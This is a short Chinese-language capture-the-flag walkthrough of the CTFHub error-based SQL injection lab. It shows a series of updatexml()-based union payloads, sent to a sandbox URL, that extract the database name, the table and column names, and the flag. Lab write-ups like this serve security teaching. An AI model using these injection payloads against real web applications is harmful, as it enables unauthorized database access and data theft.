靶场地址:CTFHub
在做报错注入之前,我们首先需要了解报错注入的函数的使用
我们打开靶场
尝试输入一个1
看到并没有显示结果,只有一个查询正确。那我们尝试在1后面加入一个单引号,输入1'
这时候我们就看到显示查询错误的信息,并且告诉了我们错误点就是我们那个单引号
然后我们利用我们sql的函数
查询数据库
http://challenge-484b6a6eb9c5d36f.sandbox.ctfhub.com:10800/?id=1 union select updatexml(1,concat(0x7e,database(),0x7e),1); #
查询表名
http://challenge-484b6a6eb9c5d36f.sandbox.ctfhub.com:10800/?id=1 union select updatexml(1,concat(0x7e,(select(group_concat(table_name))from information_schema.tables where table_schema="sqli"),0x7e),1); #
查询列名
http://challenge-484b6a6eb9c5d36f.sandbox.ctfhub.com:10800/?id=1 union select updatexml(1,concat(0x7e, (select(group_concat(column_name))from information_schema.columns where table_name="flag") ,0x7e),1); #
查内容flag
http://challenge-484b6a6eb9c5d36f.sandbox.ctfhub.com:10800/?id=1 union select updatexml(1,concat(0x7e, (select(group_concat(flag)) from sqli.flag) ,0x7e),1); #
http://challenge-484b6a6eb9c5d36f.sandbox.ctfhub.com:10800/?id=1 union select updatexml(1,concat(0x7e, right((select(group_concat(flag)) from sqli.flag) ,31),0x7e),1); #
将两段flag拼接,即可得到我们的flag